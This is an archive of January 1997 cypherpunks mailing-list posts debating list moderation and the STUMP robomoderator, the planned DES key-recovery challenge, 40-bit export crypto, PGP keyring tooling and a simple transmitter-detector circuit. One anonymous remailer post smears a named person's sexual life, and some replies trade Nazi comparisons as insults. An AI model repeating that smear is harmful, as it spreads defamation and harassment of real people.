> I would attempt to prohibit threads that only exist in cypherpunks-flames
> being continued into the moderated list.  This'll be hard to do, Sandy,
> I know, but if you could think of a way to do this, I think that your
> experiment is more likely to succeed.
> Phrases like "As I said in the letter that only got sent to
> cypherpunks-flames" should cause the whole article to be yanked, IMHO.

Ooh, the iron boot is descending fast. (Better just yank 'em all, huh?)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "L. A" <lefteris@kom.forthnet.gr>
Date: Mon, 6 Jan 1997 13:58:20 -0800 (PST)
To: <michaelb@oneworld.owt.com>
Subject: JOIN US IN THIS GREAT PROGRAM
Message-ID: <199701062157.XAA27506@info.forthnet.gr>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 6 Jan 1997 21:54:55 -0800 (PST)
To: demo@offshore.com.ai (Vince)
Subject: Re: Cypherpunks moderator robot
In-Reply-To: <Pine.LNX.3.91.970106234758.17290B-100000@offshore>
Message-ID: <199701070549.XAA02730@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Vince wrote:
> Lucky Green:
> > At 09:02 PM 1/5/97 -0600, Igor Chudov @ home wrote:
> > >With STUMP robomoderator, the great majority of posts are autoapproved,
> > >because they come from preapproved posters. In the newsgroups moderated
> > >by STUMP, moderators review only a small fraction of incoming messages.
> > 
> > I like this. Seems that list moderating technology has made some progress.
> 
> The cypherpunks moderator robot should check PGP signatures for the
> "preapproved posters" - it is just too easy to forge email.  And the human
> moderator should be willing to put any regular posters onto the list of
> "preapproved posters".  Any preapproved who mutated into a flamer would be
> removed from the list.  Newbies would have to be around for a bit to get
> on. 
> 
> Should work well enough.
> 

A good note.

Checking PGP signatures for all messages from preapproved posters is one
of the possible modes of running STUMP (you have to define
WHITELIST_MUST_SIGN=YES). This may be appropriate on cypherpunks, but
for regular newsgroups it is rarely practical, because the users are dumb
and clueless. On Cypherpunks that may work well and even add some cool
flavor to the whole process, as well as help popularize PGP.

Another advantage of robo-verification of signatures is that people
reading cpunks will know that PGP signed messages really are signed,
without the need to keep PGP keys of everyone. That is, of course, if
you trust the robomoderator.

This is all described at STUMP page. STUMP means Secure Team-based
USENET Moderation Program, by the way.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vince <demo@offshore.com.ai>
Date: Mon, 6 Jan 1997 19:50:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks moderator robot
In-Reply-To: <3.0.32.19970105202032.00691618@192.100.81.126>
Message-ID: <Pine.LNX.3.91.970106234758.17290B-100000@offshore>
MIME-Version: 1.0
Content-Type: text/plain




Lucky Green:
> At 09:02 PM 1/5/97 -0600, Igor Chudov @ home wrote:
> >With STUMP robomoderator, the great majority of posts are autoapproved,
> >because they come from preapproved posters. In the newsgroups moderated
> >by STUMP, moderators review only a small fraction of incoming messages.
> 
> I like this. Seems that list moderating technology has made some progress.

The cypherpunks moderator robot should check PGP signatures for the
"preapproved posters" - it is just too easy to forge email.  And the human
moderator should be willing to put any regular posters onto the list of
"preapproved posters".  Any preapproved who mutated into a flamer would be
removed from the list.  Newbies would have to be around for a bit to get
on. 

Should work well enough.

   --  Vince

     





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Trei <trei@ziplink.net>
Date: Mon, 6 Jan 1997 21:04:50 -0800 (PST)
To: cryptography@c2.net
Subject: DES Key Recovery update
Message-ID: <199701070504.AAA03538@zip1.ziplink.net>
MIME-Version: 1.0
Content-Type: text/plain



Gah.
I should know better than to post before my sources give their official
position.

It will be a known plaintext attack. :-)

I hope I'm not made regret jumping the gun again.

Please DON'T bug RSA about this.

Peter Trei
ptrei@acm.org
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 6 Jan 1997 22:14:52 -0800 (PST)
To: rcgraves@disposable.com (Rich Graves)
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <32D1B505.13D4@disposable.com>
Message-ID: <199701070610.AAA02851@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Thanks, Rich, for a thoughtful post.

Rich Graves wrote:
> My take on the issues I see here:
> 
> 1) Moderator liability and anonymous posting. The open nature of the
>    list means that "copyright violations" threads and the like are
>    thought more or less safe for the people who own toad.com. With
>    moderation, this is less likely to be as "safe." Without calling
>    for a blanket assault on copyrights (I do have friends who make
>    their living as writers), and speaking only selfishly, I think it    
>    would be a shame to lose the "copyright violations" posts. So I
>    think we need a way to diminish or at least distribute moderator 
>    liability. Let's revisit the "Member of Parliament Problem" thread
>    of a month or so ago for solutions. Presumably STUMP or some other
>    moderation tool could be modified to support a secure anonymous-
>    approval protocol.

I hope that lawyers here could comment on this, and I hope that it
is relevant to the cupherpunks issues at hand.

You gave us another example of why charters that restrict moderators'
ability to reject posts are good. In soc.culture.russian.moderated
we had a similar problem (now resolved completely), when certain anonymous
posters posted articles that looked like articles from newspapers.

After long thinking, moderator board has come with the following 
solution: 

	1) We do not know for sure if a certain post violates
	   some copyrights or not
	2) We do not have a duty to verify copyrights or check
	   whether posts are libelous. Verifying it is not very
	   practical.
	3) Our co-moderators reside in different countries and these
	   countries may have different copyright laws
	4) Since the moderation is done by many people, it is hard to
	   say (as long as you did not see our logs which we regularly
	   delete) who really approved the questioned article
	5) Our charter does NOT give us a permission to reject copyright
	   violations (which may be and are freely posted to unmoderated
	   groups and lists anyhow).

There is also a related issue of moderators' responsibility for libel.
Our position was the following: libel involves some lies that damages
people's reputations. We cannot verify truthfulness of articles,
therefore we cannot tell libel from non-libel.

A classical example was the following: we have an Orthodox Jewish
poster. Suppose someone else posts an article where he describes that
poster as eating pork regularly. Such an article can, in theory, be
rather damaging for that person, and would be libelous if untrue.

We are not necessarily aware that Jewish customs involve prohibition
on eating swines, and so we cannot know that the post could be
damaging. Nor do we have any practical way of checking what that person 
eats.

We are required to reject flames if we consider them harassing, but we
do not accept responsibility for telling libel from non-libel.

We also add the following header fields to each article:

X-SCRM-Policy: http://www.algebra.com/~ichudov/usenet/scrm/index.html
X-SCRM-Info-1: Send submissions to             scrm@algebra.com
X-SCRM-Info-2: Send technical complaints to    scrm-admin@algebra.com
X-SCRM-Info-3: Send complaints about policy to scrm-board@algebra.com
X-Comment: moderators do not necessarily agree or disagree with this article.
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
X-Robomod-Version: STUMP 1.1, by ichudov@algebra.com (Igor Chudov)

> 4) "Qui custodiet ipsos custodes." When I first saw that thread
>    title, I thought it pertained to the moderation proposal. It
>    could. That's why I'd like to see the rejected messages archived,
>    at least for a while, as they are with Chudov's STUMP. What I'd
>    like best, since I don't particularly want to waste bandwidth or
>    my disk space with what would, by definition, be mostly crap, is
>    a hks.lists.cypherpunks.flames on the open nntp port I'm using
>    to read cypherpunks today. As some of you have noticed, I'm not
>    on the list now, because most of it is junk; I just point
>    Netscape at HKS Inc's open port whenever the whim strikes me,
>    and grab the few messages that look interesting. I'd like to do
>    the same with the "flame" list, every couple days. Of course, HKS
>    and the other public archives would make that decsion, and I
>    thank them for the free service they've provided me so far.

STUMP also regularly (once a week if so instructed) creates
really pretty WWW archives of rejected articles, like this: 

http://www.algebra.com/~ichudov/usenet/scrm/archive/maillist.html

(see also http://www.algebra.com/~ichudov/usenet/scrm/index.html)


	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Tue, 7 Jan 1997 00:55:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] Secure envelopes
Message-ID: <199701070811.AAA10533@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May's aberrant sexual life has 
negatively impacted his mental integrity.

         /\ o-/\  Timothy C. May
        ///\|/\\\
       /   /|\   \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 6 Jan 1997 22:39:40 -0800 (PST)
To: Gary Howland <gary@systemics.com>
Subject: Re: Inflation-index bonds and private e-currency
In-Reply-To: <199701062213.XAA20921@internal-mail.systemics.com>
Message-ID: <32D207B6.34E8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Gary Howland wrote:

> But digital currencies will never become fiat currencies, let alone legal
> tender, unless governments say they are.  So why should they worry?  (OK, OK,
> they will worry about tax evasion etc. etc.)

  Exactly. How can they claim, on one hand, that something does not
qualify 
as currency, or as legal tender, and then turn around and tax it?
  If I have 10 Million UNITS that aren't considered to legally be of
value,
then I'm certainly not going to 'go easy' to tax court.
  Any currency that becomes sufficiently distributed and traded will
find
itself becoming a 'legal entity' in some form or another.  Once it has
been 'entityenized' (don't bother looking for that word in the
dictionary),
it will be a short step for it to achieve a quantifiable status among
other currencies.

  The bottom line has always been that anything which manages to reach a
sufficient level of use that it causes the government to want a 'piece
of
the pie' becomes regulated, taxed, and enters the mainstream of the
economic system.
  There has been a card-game going on in Texas for close to a hundred
years which works on a personal credit system and the IRS, to this 
point, has been able to do no better than require the players to
'report'
as income any credits that become translated into hard goods or taxable
services.
  If this card game involved sufficient revenue to make a serious impact
on this country's economic system, then there would undoubtedly already
be an act of congress addressing the issue of drawing to an inside
straight.
 
>   "Regulation - which is based on force and fear - undermines the moral base
>   of business dealings. 
>     -- Alan Greenspan

  I hope that the IRS didn't take this as a personal attack.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Mon, 6 Jan 1997 16:23:31 -0800 (PST)
To: markm@voicenet.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
Message-ID: <19970107002313.2511.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

> Date: Mon, 6 Jan 1997 18:29:51 -0500 (EST)
> From: "Mark M." <markm@voicenet.com>
> 
> The problem with making an undelayed, unedited version of the list
> available is that it would increase the burden on toad.com.  I
> suppose someone could run a mail exploder that would receive the raw
> version and mail it out to all subscribers.  I don't see the
> increased lag as much of a problem.  If an automatic moderation
> program is used, the lag should be insignificant for most posts.

Why do you think that load is a problem?  I mean most people are not
going to want to subscribe to multipel versions of the mailing list,
right?  So why are three mailing lists with a total of ~3,000 users
any more of a load than 2 mailing lists with a total of ~2,000 users?

Hell, I'll even volunteer to run the cypherpunks-raw list on my own
hardware (thus blowing my nym, if it's really necessary) if I can get
the articles as they are submitted in real time.

> This would not only increase the load on toad.com, but would also
> make it more difficult for people who want to receive the moderated
> version and monitor the moderators decisions.  Mail filtering can be
> done simply on many mail programs, but checking a list of moderation
> decisions against the mailing list traffic would be just too
> complicated.  NoCeM is a nice idea, but most people on this list
> probably do not have the platform needed to run the software.

1. How would this increase the load?  I don't see how multiple mailing
lists cause more load if it doesn't mean more subscribers.

2. Even if it did mean more subscribers, why is load a problem?  I
mean, even sendmail can easily handle the current load of cypherpunks,
and there are many packages way faster than sendmail (exim should be
particularly good at this kind of load, for instance.  Qmail is also
generally way more efficient than sendmail).  And don't tell me these
are hard or a pain to install, because I'm willing to set this up and
run it on my hardware if that's what it takes to get an unedited,
unmoderated cypherpunks list.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMtGXboCHQnqYPZ9VAQHzcwQArv9i3yiYlqRxqM1zAN/lhS8z9biL1guM
5YQJRGX8MFdh7IxYBkCvsV6r3qfmpfRKJuF/GqZZ0boYfwIF0BRPT3PGV/qoh1IR
5ltGMAaj/k5fpSIxRBk4NdtWR5RhpvMJSdqo7WDNWBuZtYCozno2G8BXwKPkZ5a2
Phqjs68VswE=
=WWIq
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 6 Jan 1997 22:39:48 -0800 (PST)
To: Ed Falk <ed.falk@Eng.Sun.COM>
Subject: Re: Modified Token Posting Scheme
In-Reply-To: <199701062255.OAA02600@peregrine.eng.sun.com>
Message-ID: <32D209CD.CA6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Ed Falk wrote:

> People who don't want to use their own name in a post, and also don't
> want to be bothered with creating a cookie are the only ones whose posts
> are delayed.

  As well as people who fail to include their SIN and their mother's
maiden name. (for verification purposes only, of course)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 6 Jan 1997 22:39:57 -0800 (PST)
To: Robert Barnes <rbarnes@gil.com.au>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <c=AU%a=_%p=Tritronics_.Aust%l=TRI_NT5-970106231005Z-16@net.tritro.com.au>
Message-ID: <32D20B26.71E0@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Robert Barnes wrote:

> I believe that moderation as proposed does not really limit
> anyones Freedom of Speech. 
'
  Neither does wearing a yellow 'Star of David' on one's clothing.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 7 Jan 1997 00:36:33 -0800 (PST)
To: Vin McLellan <cypherpunks@toad.com
Subject: Re: Relative Strength of 40-bit Crypto Implementations
Message-ID: <3.0.32.19970107003544.006c2808@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 01:29 AM 1/7/97 -0500, Vin McLellan wrote:
>	A client asked me today about where he could find evidence of the
>relative strength of different encryption algorithms, when all are
>restricted to 40-bit keys.  He assumed dot-Gov was going to restrict his
>export product to the 40-bit limit, but he wanted to provide the strongest
>security he could within that limitation.

The best answer you can possibly give him is to move production overseas.
Any 40 bit cipher is garbage. Period. It is easy to produce crypto
overseas. Many medium sized companies are doing so today. Insiders claim
that larger companies, such as Netscape, are in the process of setting up
shop abroad as well.

Clearly, one can't produce software containing crypto in the US and stay
competitive at the same time.






-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 7 Jan 1997 00:57:43 -0800 (PST)
To: nobody@squirrel.owl.de>
Subject: Re: High-tech tracking by police raises legal outcry
Message-ID: <199701070856.AAA15300@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:39 AM 1/6/97 -0600, Mike McNally wrote:
>Secret Squirrel wrote:
>> 
>> The technology, marketed by a company called Teletrac, is simple: 
>> A tramsmitter sends a radio signal to a computer ...
>
>Anybody know the frequencies used?
>
>(Anybody willing to guess whether the FCC might quietly introduce
>prohibitions against scanners that can receive those frequencies?)
>
>(Gee, that looks paranoid.)


This wouldn't do a great deal of good.  The systems were already described 
as frequency-hopping.  The hops are probably fast enough to outwit a 
scanner's receiver.

However,  it turns out that there is a comparatively simple way to detect 
such transmitters:  An old-fashioned diode detector using modern components. 
 Take a loop of wire (about a foot in diameter), add a microwave-capable 
signal diode to rectify the signal and send it to a small capacitor and then 
go to a DVM.  (digital voltmeter.)   (Sensitivity can be dramatically 
increased by also inserting a blocking capacitor in the loop and adding 
enough DC voltage to barely forward-bias the diode.)   A momentary (or 
continuous) increase in output voltage indicates that the diode is 
rectifying AC, which indicates a transmitter.  Buffering the DC-level signal 
and sending it to a set of earphones will indicate a pulsed transmitter.

Interestingly, this is probably more or less the circuit that was originally 
used in 1970's Fuzzbuster-type radar receivers before the heterodyne systems 
were developed.  The "disadvantages" of that circuit, in microwave-radar 
detection, are either not disadvantages or are in fact advantages in 
hidden-transmitter hunting.  The first "disadvantage" was that this receiver 
was EXTREMELY broadband, practically "DC-to-daylight," or at least up to the 
rectification capability of the diode chosen.   (I've implemented systems 
that will do 20 gigahertz easy, and I was using old diodes!)   False 
triggers were a common result, due to hard-to-avoid rectification of CB and 
ham radio transmissions for example.   In the case of transmitter hunting, 
that disadvantage is a solid advantage, because you don't need to know what 
frequency the transmitter is at.

The second disadvantage, comparatively low sensitivity, was a problem if 
you're trying to detect a 100 milliwatt radar transmitter 300 meters away, 
but if you know you only have to search a car from a meter away, the 
inverse-square law indicates that you're going to see a signal with around 
100,000 times the power level all other things being equal.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 6 Jan 1997 23:06:51 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: To pay credit when it's due
Message-ID: <199701070650.AAA03188@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dear Cpunks,

I forgot to mention that during the design phase of my robomod I have
received a number of thoughtful and helpful advices from Dr. Dimitri
Vulis KOTM, mostly regarding authentication protocols, as well as some
other programming matters.

For example, a suggestion to add an option requiring all preapproved 
posters to sign their articles was originally made by him.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 7 Jan 1997 00:57:19 -0800 (PST)
To: cryptography@c2.net
Subject: Re: The Upcoming DES Challenge
Message-ID: <3.0.32.19970107005752.006c3c48@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 06:56 PM 1/6/97 -0800, Mike Duvos wrote:
>Peter Trei (trei@process.com) writes:
>
>Ick.  Why overly complexify things?  A known plaintext attack
>would be far more straightforward.  After all, the goal is to
>recover the key, not the message.  Having to find a key which
>decrypts to something having all high bits clear will discourage
>people who might want to take a crack at this independent of the
>canned program you are going to distribute.

I agree. A real life crack of DES can almost always assume a know plain
text. Why should the demo crack take the 10% hit?

>[snip]
>
> > It will NOT run as a screen saver.
>
>Too bad.  The screensaver paradigm is something the unwashed
>masses can easily understand.

I have been running the distributed prime search software (see my .sig) for
about two months now. [2^1398269-1 is prime!] If you haven't tried this
software, I'd urge you to do so now. Not only because it might make you
famous, but because it will give you some ideas how a distributed DES crack
might work.

I always liked the screen saver idea, but a crack using screen savers only
works while the screen saver is active. The mersenne prime program runs on
the lowest priority thread under Win95/NT/Linux. It works even while you
are working, using all the idle cycles it can find, while at the same time
having no effect at all on any of the work you do. Install it and forget
about it. It's better than a screen saver.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Mon, 6 Jan 1997 22:44:22 -0800 (PST)
To: will@bbsi.net (will)
Subject: Re: PWL's how ?
In-Reply-To: <3.0.32.19970102213451.00691d6c@pophost.bbsi.net>
Message-ID: <199701070659.AAA06593@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> Also I don't like to seem too much like a rookie, but was is  a
> <color><param>ffff,0000,0000</param>polymorphic
> virus</color> ?

     It inserts shit like this:
     
     <cõlõr><pãrãm>ffff¸0000¸0000</pãrãm>
     
     into email. It also tends to cause oversized .signature files.

     HTH. HAND.


Petro, Christopher C.
petro@suba.com <prefered for any non-list stuff>
snow@smoke.suba.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 6 Jan 1997 23:07:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Divide and Conquer
Message-ID: <32D21270.1241@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 6 Jan 1997 23:07:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Divide & Conquer II
Message-ID: <32D212B6.1A38@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


ibid.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cypherpunks@count04.mry.scruznet.com
Date: Tue, 7 Jan 1997 01:10:56 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Moderation=YES
In-Reply-To: <32D1EC42.65B2@gte.net>
Message-ID: <199701070913.BAA17074@count04.mry.scruznet.com>
MIME-Version: 1.0
Content-Type: text/plain


soon you too will disappear :)
  as to the budding facist comment
  I got death threats and called
traitor when I published PGP 1.0 and I endured
5 long years of federal harassment to listen to YOU???
   no I dont think so...
PLEASE consider this an official request 
to MODERATE the cypherpunks list
   kelly goen - Publisher PGP 1.0 June 5 1991
   
   now it seems not only a traitor but a budding facist...
BTW this account is being deleted tonite and I will gladly resubscribe
to a moderated list under a different name and host.domain than cypherpunk 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Mon, 6 Jan 1997 22:30:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Relative Strength of 40-bit Crypto Implementations
Message-ID: <v03007800aef79ca2fd65@[206.243.166.164]>
MIME-Version: 1.0
Content-Type: text/plain


	A client asked me today about where he could find evidence of the
relative strength of different encryption algorithms, when all are
restricted to 40-bit keys.  He assumed dot-Gov was going to restrict his
export product to the 40-bit limit, but he wanted to provide the strongest
security he could within that limitation.

	How should I have answered him?

         Vin McLellan + The Privacy Guild + <vin@shore.net>
      53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 7 Jan 1997 02:23:16 -0800 (PST)
To: cypherpunks@count04.mry.scruznet.com
Subject: Re: Moderation=YES
In-Reply-To: <199701070913.BAA17074@count04.mry.scruznet.com>
Message-ID: <32D223C1.7852@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


cypherpunks@count04.mry.scruznet.com wrote:
> soon you too will disappear :)
>   as to the budding facist comment
>   I got death threats and called
> traitor when I published PGP 1.0 and I endured
> 5 long years of federal harassment to listen to YOU???
>    no I dont think so...
> PLEASE consider this an official request
> to MODERATE the cypherpunks list
>    kelly goen - Publisher PGP 1.0 June 5 1991
>    now it seems not only a traitor but a budding facist...
> BTW this account is being deleted tonite and I will gladly resubscribe
> to a moderated list under a different name and host.domain than cypherpunk

So you endured the Nazi persecution, and then you became one of them.
Congratulations.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 7 Jan 1997 01:09:10 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov @ home)
Subject: Re: Cypherpunks moderator robot
In-Reply-To: <199701070549.XAA02730@manifold.algebra.com>
Message-ID: <199701070911.DAA09527@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199701070549.XAA02730@manifold.algebra.com>, on 01/05/97 at 01:49 AM,
   ichudov@algebra.com (Igor Chudov @ home) said:


>A good note.

>Checking PGP signatures for all messages from preapproved posters is one
>of the possible modes of running STUMP (you have to define
>WHITELIST_MUST_SIGN=YES). This may be appropriate on cypherpunks, but
>for regular newsgroups it is rarely practical, because the users are dumb
>and clueless. On Cypherpunks that may work well and even add some cool
>flavor to the whole process, as well as help popularize PGP.

>Another advantage of robo-verification of signatures is that people
>reading cpunks will know that PGP signed messages really are signed,
>without the need to keep PGP keys of everyone. That is, of course, if
>you trust the robomoderator.

>This is all described at STUMP page. STUMP means Secure Team-based
>USENET Moderation Program, by the way.


I would have to disagree on this. IMHO I see using a 3rd party sig verification defeating
the purpose of PGP. One really needs to have the keys on ones own
keyring and verify keys for those he communicates with on a regular basis.
Other wise the "web of trust" is never built.

I have designed a system that will automate most of the more dificult aspects of managing
PGP and buliding a "web of trust". It's based on the user obtaining a copy of the keyring
from one of the pgp servers and uptating it on a regular basis. This is automated by using
both e-mail request and http request from the pgp servers. The user then uses 3 keyrings:

pubring.pgp -- Small keyring contianing the most used keys mainly key used for
               encryption.

sigring.pgp -- Medium size keyring containing keys used only for verifying sigs.

master.pgp --  Copy of pubring.pgp from pgp key server.

Logs are kept of all signatures verified. After the same signature has been
verified X number of times the public key is added to the sigring.pgp. If a
key has not been used in X number of days it is removed from the sigring.pgp.

A simmilar log can be kept for encryptions & moving keys in and out of the
pubring.pgp.

If the user not verifying a large number of sigs. the sigring.pgp & the
pubring.pgp can be combined.

There should also be some type of mechanisim to remind the user to verify keys that he
frequently uses.

All the above is handled transparently to the user after the inital set-up via a GUI
install program. Most of the mechanics are handled through a colection of e-mail
filters/scripts and a few small EXE's that I have written.

I have most of the code written and am in the process of working the kinks out.

The whole ideal of this is to keep the minimum # of keys in the users pubring & sigring
for usability while still having the master keyring as a backup.

I still need to develop a means of insuring that a key that is "trusted" by
association on the master keyring retains that trust when transfered to the
pubring.pgp. I think I can develop somthing along the lines of the 
ATT PathServer and calculate what keys need to be copyed along with the target key that is
being copied to the pubring.pgp.

As soon as I have a working model I will write somthing up in greater detail
and make it available on my web page. 
     

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    WebExplorer & Java Enhanced!!!
Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice

Look for MR/2 Tips & Rexx Scripts
Get Work Place Shell for Windows!!
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: This marks Logical End-Of-Message. Physical EOM follows

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMtISZI9Co1n+aLhhAQFAvQQAiakA24txxJ2mZJU/lhb2bqdm1G2nBj50
b4ONi7y8F4fGrsC+nWwoeh1ta5iu3aOQLr+3mYWtafvEUjxvP4mDvke3ToD9riD8
dKU9MKxZd6CG0sZA6TX199gOkY0Ep8fSyJMKQSgddFe+LpahJpxs7dm7bP6pWDbF
oOj+2J61IOc=
=kgSh
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: beta@eb.com (Beta Test)
Date: Tue, 7 Jan 1997 03:50:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Special Discount for Pathfinder Users
Message-ID: <9701071149.AA10277@eb.com>
MIME-Version: 1.0
Content-Type: text/plain



Dear Pathfinder Free Trial Participant,

Thank you for participating in the free trial offer of Britannica
Online.  Although your free trial has now ended, you can continue
accessing one of the world's most reliable sources of information
by becoming a subscriber.  For a limited time only Pathfinder
users can purchase Britannica Online at a special discounted rate
-- $14.95 a month or $149 a year.

As a subscriber, you'll enjoy all that Britannica Online has to
offer, from its ease of use... to its in-depth articles... to its
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there's even more to enjoy! 

Britannica Online 97 includes many new features:
 
* Almost 1,000 new graphics, for a total of over 4,200 graphics
 
* Over 5,400 related Internet links, plus approximately 50 new
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In addition to updates for the formal releases (2 or 3 times per
year), Britannica Online articles are updated by our editorial
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And don't forget the spotlight features of Britannica Online. Our
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OR
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* Review to make sure the information is complete and accurate,
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Don't let this special offer pass you by.  We look forward to
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Sincerely,
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David K. Merriman" <merriman@amaonline.com>
Date: Tue, 7 Jan 1997 06:02:47 -0800 (PST)
To: coderpunks@toad.com
Subject: Internet Draft : keyserver protocol
Message-ID: <199701071402.GAA03562@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: coderpunks@toad.com
Date: Tue Jan 07 08:15:10 1997
My proposal for a realtime keyserver protocol/system has been made available.
I would welcome any comments/discussion regarding it.

It may be found at:

ds.internic.net/internet-drafts/draft-merriman-realtime-key-00.txt

Dave Merriman


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMtGxtMVrTvyYOzAZAQFsVQP+LpTOyQjdNH3dMpUBG0DMHQ8jIM+cENs+
nK+r/9uKYAWKHkTwENNHwIn9mwxKi2GhgnXdJf7zUMdkNgK2w6Im7yOHzMhsZFfm
KQJlY+qzQbNOdf+LjOnbhy16u0h/0zgP6+NzITFqeXOToGC9KkImWmdaROe+enIX
3v1LYz4jHEM=
=tIT+
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Tue, 7 Jan 1997 04:55:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The Upcoming DES Challenge
In-Reply-To: <3.0.32.19970107005752.006c3c48@192.100.81.126>
Message-ID: <Chameleon.852641714.amp@tx86-8>
MIME-Version: 1.0
Content-Type: text/plain


> > > It will NOT run as a screen saver.
> >
> >Too bad.  The screensaver paradigm is something the unwashed
> >masses can easily understand.
> 
> I have been running the distributed prime search software (see my .sig) for
> about two months now. [2^1398269-1 is prime!] If you haven't tried this
> software, I'd urge you to do so now. Not only because it might make you
> famous, but because it will give you some ideas how a distributed DES crack
> might work.
> 
> I always liked the screen saver idea, but a crack using screen savers only
> works while the screen saver is active. The mersenne prime program runs on
> the lowest priority thread under Win95/NT/Linux. It works even while you
> are working, using all the idle cycles it can find, while at the same time
> having no effect at all on any of the work you do. Install it and forget
> about it. It's better than a screen saver.

I agree with Lucky. It may not be as easy for the great unwashed to comprehend, but 
the low-pri thread is the best way to go to maximize cpu time on the project. I too 
